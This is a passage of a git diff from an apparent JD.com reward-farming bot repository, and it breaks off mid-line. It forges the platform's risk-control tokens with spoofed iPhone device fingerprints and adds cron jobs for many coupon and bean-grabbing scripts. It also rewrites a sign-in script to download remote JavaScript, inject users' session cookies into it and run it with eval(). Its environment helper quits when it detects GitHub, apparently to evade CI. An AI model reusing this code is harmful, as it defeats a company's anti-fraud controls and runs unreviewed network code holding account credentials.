output[(input.length >> 2) - 1] = undefined + for (i = 0; i < output.length; i += 1) { + output[i] = 0 + } + var length8 = input.length * 8 + for (i = 0; i < length8; i += 8) { + output[i >> 5] |= (input.charCodeAt(i / 8) & 0xff) << (i % 32) + } + return output +} + function encrypt_3(e) { return function (e) { @@ -535,119 +747,147 @@ let utils = { }; return r; }, - gettoken: function () { - const https = require('https'); - var body = `content={"appname":"50082","whwswswws":"","jdkey":"","body":{"platform":"1"}}`; - return new Promise((resolve, reject) => { - let options = { - hostname: "bh.m.jd.com", - port: 443, - path: "/gettoken", - method: "POST", - rejectUnauthorized: false, - headers: { - "Content-Type": "text/plain;charset=UTF-8", - "Host": "bh.m.jd.com", - "Origin": "https://h5.m.jd.com", - "X-Requested-With": "com.jingdong.app.mall", - "Referer": "https://h5.m.jd.com/babelDiy/Zeus/41Lkp7DumXYCFmPYtU3LTcnTTXTX/index.html", - "User-Agent": `jdapp;android;10.0.2;9;8363237353630343334383837333-73D2164353034363465693662666;network/wifi;model/MI 8;addressid/138087843;aid/0a4fc8ec9548a7f9;oaid/3ac46dd4d42fa41c;osVer/28;appBuild/88569;partner/jingdong;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 9; MI 8 Build/PKQ1.180729.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045715 Mobile Safari/537.36`, + get_blog: function (pin) { + let encrypefun = { + "z": function (p1, p2) { + var str = ""; + for (var vi = 0; vi < p1.length; vi++) { + str += (p1.charCodeAt(vi) ^ p2.charCodeAt(vi % p2.length)).toString("16"); } + return str; + }, + "y": function (p1, p2) { + var str = ""; + for (var vi = 0; vi < p1.length; vi++) { + str += (p1.charCodeAt(vi) & p2.charCodeAt(vi % p2.length)).toString("16"); + } + return str; + }, + "x": function (p1, p2) { + p1 = p1.substring(1) + p1.substring(0, 1); + p2 = p2.substring((p2.length - 1)) + p2.substring(0, (p2.length - 1)); + var str = ""; + for (var vi = 0; vi < p1.length; vi++) { + str += (p1.charCodeAt(vi) ^ p2.charCodeAt(vi % p2.length)).toString("16"); + } + return str; + }, + "jiami": function (po, p1) { + var str = ""; + for (vi = 0; vi < po.length; vi++) { + str += String.fromCharCode(po.charCodeAt(vi) ^ p1.charCodeAt(vi % p1.length)); + } + return new Buffer.from(str).toString('base64'); } - const req = https.request(options, (res) => { - res.setEncoding('utf-8'); - let rawData = ''; - res.on('error', reject); - res.on('data', chunk => rawData += chunk); - res.on('end', () => resolve(rawData)); - }); - req.write(body); - req.on('error', reject); - req.end(); - }); + } + const ids = ["x", "y", "z"]; + var encrypeid = ids[Math.floor(Math.random() * 1e8) % ids.length]; + var timestamp = this.getCurrentTime(); + var nonce_str = this.getRandomWord(10); + var isDefaultKey = "B"; + // timestamp = 1627139784174; + refer = "com.miui.home"; + encrypeid = "x"; + //nonce_str = "jNN40H0elF"; + var json = { + r: refer, + a: "", + c: "a", + v: "2.5.8", + t: timestamp.toString().substring(timestamp.toString().length - 4) + } + var token = md5(pin); + var key = encrypefun[encrypeid](timestamp.toString(), nonce_str); + //console.log(key); + var cipher = encrypefun["jiami"](JSON.stringify(json), key); + //sOf+"~1"+sa1+sb+"~"+sb1+"~~~"+str+"~"+sa+"~"+sa2; + //"1627139784174~1jNN40H0elF14e91ebb633928c23d5afbaa8f947952~x~~~B~TBJHGg0bVAlaF1oPTVwfXQtaVBdJFQcVChcaGxtURA0bVkQUF0cXXhUDG1AZXhUcF0wVAxVSBg4DREU=~0v3u0bq", + return `${timestamp}~1${nonce_str+token}~${encrypeid}~~~${isDefaultKey}~${cipher}~${this.getCrcCode(cipher)}`; }, - get_risk_result: async function ($) { + getBody: async function ($ = {}) { + var pin = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) var appid = "50082"; var TouchSession = this.getTouchSession(); - if (!joyytoken || joyytoken_count > 18) { - joyytoken = JSON.parse(await this.gettoken())["joyytoken"]; - //console.log("第一次请求joyytoken"); - joyytoken_count = 0; - } - joyytoken_count++; let riskData; switch ($.action) { - case 'startTask': - riskData = { - taskId: $.id - }; - break; - case 'chargeScores': - riskData = { - bubleId: $.id - }; - break; - case 'sign': - riskData = {}; - default: - break; + case 'startTask': + riskData = { taskId: $.id }; + break; + case 'chargeScores': + riskData = { bubleId: $.id }; + break; + case 'sign': + riskData = {}; + break; + case 'exchangeGift': + riskData = { scoreNums: $.id, giftConfigId: $.giftConfigId || 198 }; + break; + default: + break; } var random = Math.floor(1e+6 * Math.random()).toString().padEnd(6, '8'); var senddata = this.objToString2(this.RecursiveSorting({ - pin: $.UserName, + pin, random, ...riskData })); var time = this.getCurrentTime(); // time = 1626970587918; - var encrypt_id = this.decipherJoyToken(appid + joyytoken, appid)["encrypt_id"].split(","); + var encrypt_id = this.decipherJoyToken(appid + $.joyToken, appid)["encrypt_id"].split(","); var nonce_str = this.getRandomWord(10); // nonce_str="iY8uFBbYX7"; - var key = this.getKey(encrypt_id[2], nonce_str, time); + var key = this.getKey(encrypt_id[2], nonce_str, time.toString()); - var str1 = `${senddata}&token=${joyytoken}&time=${time}&nonce_str=${nonce_str}&key=${key}&is_trust=1`; + var str1 = `${senddata}&token=${$.joyToken}&time=${time}&nonce_str=${nonce_str}&key=${key}&is_trust=1`; //console.log(str1); str1 = this.sha1(str1); - var outstr = [time, "1" + nonce_str + joyytoken, encrypt_id[2] + "," + encrypt_id[3]]; + var outstr = [time, "1" + nonce_str + $.joyToken, encrypt_id[2] + "," + encrypt_id[3]]; outstr.push(str1); outstr.push(this.getCrcCode(str1)); outstr.push("C"); var data = { - aj: "u", - bd: senddata, - blog: "a", - cf_v: "01", - ci: "w3.1.0", - cs: "2d148afa43e1a58dd9ab2993bb93343f", - fpb: "", - grn: 1, - ioa: "fffffftt", - jj: 1, - jk: "-a45046de9fbf-0a4fc8ec9548a7f9", - mj: [1, 0, 0], - msg: "", - nav: "88569", - np: "Linux aarch64", - nv: "Google Inc.", - pdn: [], - ro: ["f", "f", "f", "f", "f", "f", "f"], - scr: [818, 393], - ss: TouchSession, - t: time, tm: [], tnm: [], - wea: "ffttttua", - wed: "ttttt", - }; - //console.log(data); + grn: 1, + ss: TouchSession, + wed: 'ttttt', + wea: 'ffttttua', + pdn: [7, (Math.floor(Math.random() * 1e8) % 180) + 1, 6, 11, 1, 5], + jj: 1, + cs: hexMD5("Object.P.=&HTMLDocument.Ut.=https://storage.360buyimg.com/babel/00750963/1942873/production/dev/main.e5d1c436.js"), + np: 'iPhone', + t: time, + jk: $.uuid, + fpb: '', + nv: 'Apple Computer, Inc.', + nav: '167741', + scr: [736, 414], + ro: [ + 'iPhone10,2', + 'iOS', + '14.4.2', + '10.0.8', + '167741', + $.uuid, + 'a' + ], + ioa: 'fffffftt', + aj: 'u', + ci: 'w3.1.0', + cf_v: '01', + bd: senddata, + mj: [1, 0, 0], + blog: 'a', + msg: '' + } + // console.log(data); //console.log(JSON.stringify(data)); data = new Buffer.from(this.xorEncrypt(JSON.stringify(data), key)).toString('base64'); //console.log(data); outstr.push(data); outstr.push(this.getCrcCode(data)); //console.log(outstr.join("~")); - $.joyytoken = `joyytoken=${appid + joyytoken};`; return { extraData: { log: outstr.join("~"), @@ -659,5 +899,5 @@ let utils = { } }; module.exports = { - utils + utils } \ No newline at end of file diff --git a/docker/crontab_list.sh b/docker/crontab_list.sh index 7061fe0..acec44e 100755 --- a/docker/crontab_list.sh +++ b/docker/crontab_list.sh @@ -4,6 +4,19 @@ #30 * * * * sh +x /scripts/docker/auto_help.sh collect >> /scripts/logs/auto_help_collect.log 2>&1 ##############短期活动############## +#柠檬赚金币 +0 7 * * * node /scripts/jd_zjb.js >> /scripts/logs/jd_zjb.log 2>&1 +#整点京豆雨 +1 0-23/1 * * * node /scripts/jd_super_redrain.js >> /scripts/logs/jd_super_redrain.log 2>&1 +#领京豆 +21 9 * * * node /scripts/jd_ljd.js >> /scripts/logs/jd_ljd.log 2>&1 +#京喜领88元红包 +4 10 * * * node /scripts/jd_jxlhb.js >> /scripts/logs/jd_jxlhb.log 2>&1 +20 0-23/3 * * * node /scripts/jd_joypark_joy.js >> /scripts/logs/jd_joypark_joy.log 2>&1 +#发财大赢家 +1 6-22/3 * * * node /scripts/jd_fcdyj.js >> /scripts/logs/jd_fcdyj.log 2>&1 +#赚30 +3 1,6 * * * node /scripts/jd_earn30.js >> /scripts/logs/jd_earn30.log 2>&1 #首页-领京豆-升级赚京豆 21 9 * * * node /scripts/jd_mmdou.js >> /scripts/logs/jd_mmdou.log 2>&1 ##伊利 @@ -27,6 +40,8 @@ #欧洲狂欢杯 0,30 10 * * * node /scripts/jd_khb.js >> /scripts/logs/jd_khb.log 2>&1 #超级直播间红包雨(活动时间不定期,出现异常提示请忽略。红包雨期间会正常) +30 16-23/1 * * * node /scripts/jd_half_redrain.js >> /scripts/logs/jd_half_redrain.log 2>&1 +#超级直播间红包雨(活动时间不定期,出现异常提示请忽略。红包雨期间会正常) 1,31 0-23/1 * * * node /scripts/jd_live_redrain.js >> /scripts/logs/jd_live_redrain.log 2>&1 #星系牧场 1 0-23/2 * * * node /scripts/jd_qqxing.js >> /scripts/logs/jd_qqxing.log 2>&1 @@ -69,6 +84,8 @@ 10 13-20/1 * * * node /scripts/jd_joy_run.js >> /scripts/logs/jd_joy_run.log 2>&1 # 摇钱树 23 */2 * * * node /scripts/jd_moneyTree.js >> /scripts/logs/jd_moneyTree.log 2>&1 +# 摇钱树 +23 */4 * * * node /scripts/jd_moneyTree_help.js >> /scripts/logs/jd_moneyTree_help.log 2>&1 # 东东萌宠 35 6-18/6 * * * node /scripts/jd_pet.js >> /scripts/logs/jd_pet.log 2>&1 # 京东种豆得豆 diff --git a/jd_bean_sign.js b/jd_bean_sign.js index ad0444a..126cd41 100755 --- a/jd_bean_sign.js +++ b/jd_bean_sign.js @@ -3,181 +3,112 @@ 活动入口:各处的签到汇总 Node.JS专用 IOS软件用户请使用 https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js -更新时间:2021-6-18 -推送通知默认简洁模式(多账号只发送一次)。如需详细通知,设置环境变量 JD_BEAN_SIGN_NOTIFY_SIMPLE 为false即可(N账号推送N次通知)。 -Modified From github https://github.com/ruicky/jd_sign_bot +更新时间:2021-8-1 */ -const $ = new Env('京东多合一签到'); -const notify = $.isNode() ? require('./sendNotify') : ''; +const $ = new Env('京东多合一签到SCF') +// const vm = require('vm') +let sendNotify +if ($.isNode()){ + sendNotify = require('./sendNotify.js').sendNotify +} //Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const exec = require('child_process').execSync -const fs = require('fs') -const download = require('download'); -let resultPath = "./result.txt"; -let JD_DailyBonusPath = "./JD_DailyBonus.js"; -let outPutUrl = './'; -let NodeSet = 'CookieSet.json'; -let cookiesArr = [], cookie = '', allMessage = ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '' +let cookiesArr = [] if ($.isNode()) { Object.keys(jdCookieNode).forEach((item) => { cookiesArr.push(jdCookieNode[item]) }) if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); } !(async() => { if (!cookiesArr[0]) { $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); return; } - process.env.JD_BEAN_SIGN_NOTIFY_SIMPLE = process.env.JD_BEAN_SIGN_NOTIFY_SIMPLE ? process.env.JD_BEAN_SIGN_NOTIFY_SIMPLE : 'true'; - await requireConfig(); + const cks = [] + for (let i =0; i < cookiesArr.length; i++) { + const cookie = cookiesArr[i] + cks.push(await TotalBean(cookie)) + if (!cks[i]){ + const UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + const msg = `${$.name}cookie已失效 - ${UserName} 京东账号${i} ${UserName}\n请重新登录获取cookie` + $.msg(msg) + if ($.isNode()) { + await sendNotify(`${$.name}cookie已失效`,msg); + } + } + } + cookiesArr = cookiesArr.filter((_, index) => cks[index]) + cookiesArr = cookiesArr.map(cookie => { + return {'cookie':cookie} + }) + if (!cookiesArr[0]) { + $.msg($.name, '【提示】无可用cookie,结束'); + return; + } // 下载最新代码 - await downFile(); - if (!await fs.existsSync(JD_DailyBonusPath)) { - console.log(`\nJD_DailyBonus.js 文件不存在,停止执行${$.name}\n`); - await notify.sendNotify($.name, `本次执行${$.name}失败,JD_DailyBonus.js 文件下载异常,详情请查看日志`) + const content = await download() + if(! content){ + console.error("JD_DailyBonus.js 没有成功加载") + $.done() return } - const content = await fs.readFileSync(JD_DailyBonusPath, 'utf8') - for (let i =0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.nickName = ''; - $.isLogin = true; - await TotalBean(); - console.log(`*****************开始京东账号${$.index} ${$.nickName || $.UserName}京豆签到*******************\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue + console.log(`*****************开始${$.name}*******************\n`) + const originalLog = console.log + let notifyContent = '' + console.log = (...args) => { + if(args[0].includes("【签到号")){ + notifyContent += args[0].split('\n\n')[1] + // originalLog('catch notifyContent:'+notifyContent) + } + originalLog.apply( + console, + [...args] + ) + if (args[0].includes('签到用时')){ + console.log = originalLog + if ($.isNode() && notifyContent.length != 0) { + $.msg($.name, '', notifyContent) + sendNotify($.name, notifyContent).then(() => { + console.log('send Notify finish') + $.done() + }) + }else{ + $.done() } - await changeFile(content); - await execSign(); } } - //await deleteFile(JD_DailyBonusPath);//删除下载的JD_DailyBonus.js文件 - if ($.isNode() && allMessage && process.env.JD_BEAN_SIGN_NOTIFY_SIMPLE === 'true') { - $.msg($.name, '', allMessage); - await notify.sendNotify($.name, allMessage) - } + + eval(changeFile(content,JSON.stringify(cookiesArr))) + // new vm.Script('console.log("start");\n'+changeFile(content,JSON.stringify(cookiesArr))+'\nconsole.log("end");').runInThisContext() + // new vm.Script(changeFile(content,JSON.stringify(cookiesArr))).runInContext(new vm.createContext({ + // console: console, + // require: require, + // setTimeout:setTimeout + // })) })() .catch((e) => $.logErr(e)) - .finally(() => $.done()) -async function execSign() { - console.log(`\n开始执行 ${$.name} 签到,请稍等...\n`); - try { - // if (notify.SCKEY || notify.BARK_PUSH || notify.DD_BOT_TOKEN || (notify.TG_BOT_TOKEN && notify.TG_USER_ID) || notify.IGOT_PUSH_KEY || notify.QQ_SKEY) { - // await exec(`${process.execPath} ${JD_DailyBonusPath} >> ${resultPath}`); - // const notifyContent = await fs.readFileSync(resultPath, "utf8"); - // console.log(`👇👇👇👇👇👇👇👇👇👇👇LOG记录👇👇👇👇👇👇👇👇👇👇👇\n${notifyContent}\n👆👆👆👆👆👆👆👆👆LOG记录👆👆👆👆👆👆👆👆👆👆👆`); - // } else { - // console.log('没有提供通知推送,则打印脚本执行日志') - // await exec(`${process.execPath} ${JD_DailyBonusPath}`, { stdio: "inherit" }); - // } - await exec(`${process.execPath} ${JD_DailyBonusPath} >> ${resultPath}`); - const notifyContent = await fs.readFileSync(resultPath, "utf8"); - console.error(`👇👇👇👇👇👇👇👇👇👇👇签到详情👇👇👇👇👇👇👇👇👇👇👇\n${notifyContent}\n👆👆👆👆👆👆👆👆👆签到详情👆👆👆👆👆👆👆👆👆👆👆`); - // await exec("node JD_DailyBonus.js", { stdio: "inherit" }); - // console.log('执行完毕', new Date(new Date().getTime() + 8 * 3600000).toLocaleDateString()) - //发送通知 - let BarkContent = ''; - if (fs.existsSync(resultPath)) { - const barkContentStart = notifyContent.indexOf('【签到概览】') - const barkContentEnd = notifyContent.length; - if (process.env.JD_BEAN_SIGN_STOP_NOTIFY !== 'true') { - if (process.env.JD_BEAN_SIGN_NOTIFY_SIMPLE === 'true') { - if (barkContentStart > -1 && barkContentEnd > -1) { - BarkContent = notifyContent.substring(barkContentStart, barkContentEnd); - } - BarkContent = BarkContent.split('\n\n')[0]; - } else { - if (barkContentStart > -1 && barkContentEnd > -1) { - BarkContent = notifyContent.substring(barkContentStart, barkContentEnd); - } - } - } - } - //不管哪个时区,这里得到的都是北京时间的时间戳; - const UTC8 = new Date().getTime() + new Date().getTimezoneOffset()*60000 + 28800000; - $.beanSignTime = new Date(UTC8).toLocaleString('zh', {hour12: false}); - //console.log(`脚本执行完毕时间:${$.beanSignTime}`) - if (BarkContent) { - allMessage += `【京东号 ${$.index}】: ${$.nickName || $.UserName}\n【签到时间】: ${$.beanSignTime}\n${BarkContent}${$.index !== cookiesArr.length ? '\n\n' : ''}`; - if (!process.env.JD_BEAN_SIGN_NOTIFY_SIMPLE || (process.env.JD_BEAN_SIGN_NOTIFY_SIMPLE && process.env.JD_BEAN_SIGN_NOTIFY_SIMPLE !== 'true')) { - await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}`, `【签到号 ${$.index}】: ${$.nickName || $.UserName}\n【签到时间】: ${$.beanSignTime}\n${BarkContent}`); - } - } - //运行完成后,删除下载的文件 - await deleteFile(resultPath);//删除result.txt - console.log(`\n\n*****************${new Date(new Date().getTime()).toLocaleString('zh', {hour12: false})} 京东账号${$.index} ${$.nickName || $.UserName} ${$.name}完成*******************\n\n`); - } catch (e) { - console.log("京东签到脚本执行异常:" + e); - } -} -async function downFile () { - let url = ''; - await downloadUrl(); - if ($.body) { - url = 'https://raw.fastgit.org/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js'; - } else { - url = 'https://cdn.jsdelivr.net/gh/NobyDa/Script@master/JD-DailyBonus/JD_DailyBonus.js'; - } - try { - const options = { } - if (process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { - const tunnel = require("tunnel"); - const agent = { - https: tunnel.httpsOverHttp({ - proxy: { - host: process.env.TG_PROXY_HOST, - port: process.env.TG_PROXY_PORT * 1 - } - }) - } - Object.assign(options, { agent }) - } - await download(url, outPutUrl, options); - console.log(`JD_DailyBonus.js文件下载完毕\n\n`); - } catch (e) { - console.log("JD_DailyBonus.js 文件下载异常:" + e); - } -} + // .finally(() => $.done()) -async function changeFile (content) { +function changeFile (content,cookie) { console.log(`开始替换变量`) - let newContent = content.replace(/var Key = '.*'/, `var Key = '${cookie}'`); - newContent = newContent.replace(/const NodeSet = 'CookieSet.json'/, `const NodeSet = '${NodeSet}'`) + let newContent = content.replace(/var OtherKey = '.*'/, `var OtherKey = '${cookie}'`); + // newContent = newContent.replace(/const NodeSet = 'CookieSet.json'/, `const NodeSet = '${NodeSet}'`) if (process.env.JD_BEAN_STOP && process.env.JD_BEAN_STOP !== '0') { - newContent = newContent.replace(/var stop = '0'/, `var stop = '${process.env.JD_BEAN_STOP}'`); + newContent = newContent.replace(/var stop = '0'/, `var stop = '${process.env.JD_BEAN_STOP}'`) } - const zone = new Date().getTimezoneOffset(); + const zone = new Date().getTimezoneOffset() if (zone === 0) { //此处针对UTC-0时区用户做的 - newContent = newContent.replace(/tm\s=.*/, `tm = new Date(new Date().toLocaleDateString()).getTime() - 28800000;`); - } - try { - await fs.writeFileSync(JD_DailyBonusPath, newContent, 'utf8'); - console.log('替换变量完毕'); - } catch (e) { - console.log("京东签到写入文件异常:" + e); + newContent = newContent.replace(/tm\s=.*/, `tm = new Date(new Date().toLocaleDateString()).getTime() - 28800000;`) } + return newContent } -async function deleteFile(path) { - // 查看文件result.txt是否存在,如果存在,先删除 - const fileExists = await fs.existsSync(path); - // console.log('fileExists', fileExists); - if (fileExists) { - const unlinkRes = await fs.unlinkSync(path); - // console.log('unlinkRes', unlinkRes) - } -} -function TotalBean() { + +async function TotalBean(cookie) { return new Promise(async resolve => { const options = { "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, @@ -202,14 +133,14 @@ function TotalBean() { if (data) { data = JSON.parse(data); if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return + return //cookie过期 } if (data['retcode'] === 0) { $.nickName = (data['base'] && data['base'].nickname) || $.UserName; } else { $.nickName = $.UserName } + resolve(true) } else { console.log(`京东服务器返回空数据`) } @@ -217,14 +148,14 @@ function TotalBean() { } catch (e) { $.logErr(e, resp) } finally { - resolve(); + resolve() } }) }) } -function downloadUrl(url = 'https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js') { +async function download() { return new Promise(resolve => { - const options = { url, "timeout": 10000 }; + const options = { 'url':'https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js', "timeout": 10000 }; if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { const tunnel = require("tunnel"); const agent = { @@ -238,57 +169,37 @@ function downloadUrl(url = 'https://raw.githubusercontent.com/NobyDa/Script/mast Object.assign(options, { agent }) } $.get(options, async (err, resp, data) => { - try { - if (err) { - // console.log(`${JSON.stringify(err)}`) - console.log(`检测到您当前网络环境不能访问外网,将使用jsdelivr CDN下载JD_DailyBonus.js文件`); - await $.http.get({url: `https://purge.jsdelivr.net/gh/NobyDa/Script@master/JD-DailyBonus/JD_DailyBonus.js`, timeout: 10000}).then((resp) => { - if (resp.statusCode === 200) { - let { body } = resp; - body = JSON.parse(body); - if (body['success']) { - console.log(`JD_DailyBonus.js文件 CDN刷新成功`) - } else { - console.log(`JD_DailyBonus.js文件 CDN刷新失败`) - } + if (err) { + console.log(`raw download err:${JSON.stringify(err)}`) + console.log(`检测到您当前网络环境不能访问外网,将使用jsdelivr CDN下载JD_DailyBonus.js文件`); + options['url'] = 'https://purge.jsdelivr.net/gh/NobyDa/Script@master/JD-DailyBonus/JD_DailyBonus.js' + await $.http.get(options).then((resp) => { + if (resp.statusCode === 200) { + // console.log(`resp:${JSON.stringify(resp)}`) + let { body } = resp; + body = JSON.parse(body); + if (body['success']) { + console.log(`JD_DailyBonus.js文件 CDN刷新成功`) + } else { + console.log(`JD_DailyBonus.js文件 CDN刷新失败`) } - }); - } else { - $.body = data; - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); + } + }) + options['url'] = 'https://cdn.jsdelivr.net/gh/NobyDa/Script@master/JD-DailyBonus/JD_DailyBonus.js' + await $.get(options, async (err, resp, data) => { + if (err) { + console.error(`CDN download err:${JSON.stringify(err)}`) + resolve() + }else{ + console.log('JD_DailyBonus.js文件 下载成功(CDN)') + resolve(data) + } + }) + } else { + console.log(`JD_DailyBonus.js文件 下载成功(raw)`) + resolve(data) } }) }) } -function requireConfig() { - return new Promise(resolve => { - // const file = 'jd_bean_sign.js'; - // fs.access(file, fs.constants.W_OK, (err) => { - // resultPath = err ? '/tmp/result.txt' : resultPath; - // JD_DailyBonusPath = err ? '/tmp/JD_DailyBonus.js' : JD_DailyBonusPath; - // outPutUrl = err ? '/tmp/' : outPutUrl; - // NodeSet = err ? '/tmp/CookieSet.json' : NodeSet; - // resolve() - // }); - //判断是否是云函数环境。原函数根目录目录没有可写入权限,文件只能放到根目录下虚拟的/temp/文件夹(具有可写入权限) - resultPath = process.env.TENCENTCLOUD_RUNENV === 'SCF' ? '/tmp/result.txt' : resultPath; - JD_DailyBonusPath = process.env.TENCENTCLOUD_RUNENV === 'SCF' ? '/tmp/JD_DailyBonus.js' : JD_DailyBonusPath; - outPutUrl = process.env.TENCENTCLOUD_RUNENV === 'SCF' ? '/tmp/' : outPutUrl; - NodeSet = process.env.TENCENTCLOUD_RUNENV === 'SCF' ? '/tmp/CookieSet.json' : NodeSet; - resolve() - }) -} -function timeFormat(time) { - let date; - if (time) { - date = new Date(time) - } else { - date = new Date(); - } - return date.getFullYear() + '-' + ((date.getMonth() + 1) >= 10 ? (date.getMonth() + 1) : '0' + (date.getMonth() + 1)) + '-' + (date.getDate() >= 10 ? date.getDate() : '0' + date.getDate()); -} function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const 